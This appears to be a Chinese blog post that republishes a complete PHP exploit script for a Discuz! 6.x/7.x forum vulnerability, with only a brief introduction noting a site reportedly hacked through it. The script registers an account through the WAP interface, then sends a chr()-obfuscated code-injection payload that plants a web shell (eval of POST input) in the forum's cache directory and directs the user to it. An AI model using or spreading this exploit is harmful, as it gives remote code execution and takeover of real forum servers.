Discuz! 6.x/7.x SODB-2008-13 Exploit,这个洞最近几天好像闹的比较厉害,今天看到华东黑客联盟(www.3hack.com)被黑,貌似就是因为这个洞的关系。
废话不多说,直接帖代码:
1#!/usr/bin/php2<?php3/**4* [Discuz! 6.x/7.x SODB-2008-13 Exp](/blog/discuz%21-6x-7x-sodb-2008-13-exploit)5* By www.80vul.com6* 文件中注释的变量值请自行修改7*/8
9$host = 'www.80vul.com';10// 服务器域名或IP11$path = '/discuz/';12// 程序所在的路径13$key = 0;14// 上面的变量编辑好后,请将此处的值改为115
67 collapsed lines
16if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)17exit("专业点好不,先看看里面的注释 -,-18");19
20error_reporting(7);21ini_set('max_execution_time', 0);22
23$key = time();24$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';25$resp = send();26
27preg_match('/logout=yes&formhash=[a-z0-9]{8}&sid=([a-zA-Z0-9]{6})/', $resp, $sid);28
29if (!$sid)30exit("哦,大概是没有开启WAP注册吧 -,-31");32
33$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';34send();35
36$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';37
38if (file_get_contents($shell) == '80vul')39exit("好了,去看看你的WebShell吧: $shell40里面的代码是: <?eval($_POST[c])?>41别告诉我你不会用 -,-42");43else44exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-45");46
47function send()48{49global $host, $path, $url, $cmd;50
51$data = "POST ".$path."wap/index.php HTTP/1.152";53$data .= "Accept: */*54";55$data .= "Accept-Language: zh-cn56";57$data .= "Referer: http://$host$path58";59$data .= "Content-Type: application/x-www-form-urlencoded60";61$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.162";63$data .= "Host: $host64";65$data .= "Connection: Close66";67$data .= "Content-Length: ".strlen($cmd)."68";69$data .= $cmd;70
71$fp = fsockopen($host, 80);72fputs($fp, $data);73
74$resp = '';75
76while ($fp && !feof($fp))77$resp .= fread($fp, 1024);78
79return $resp;80}81
82?>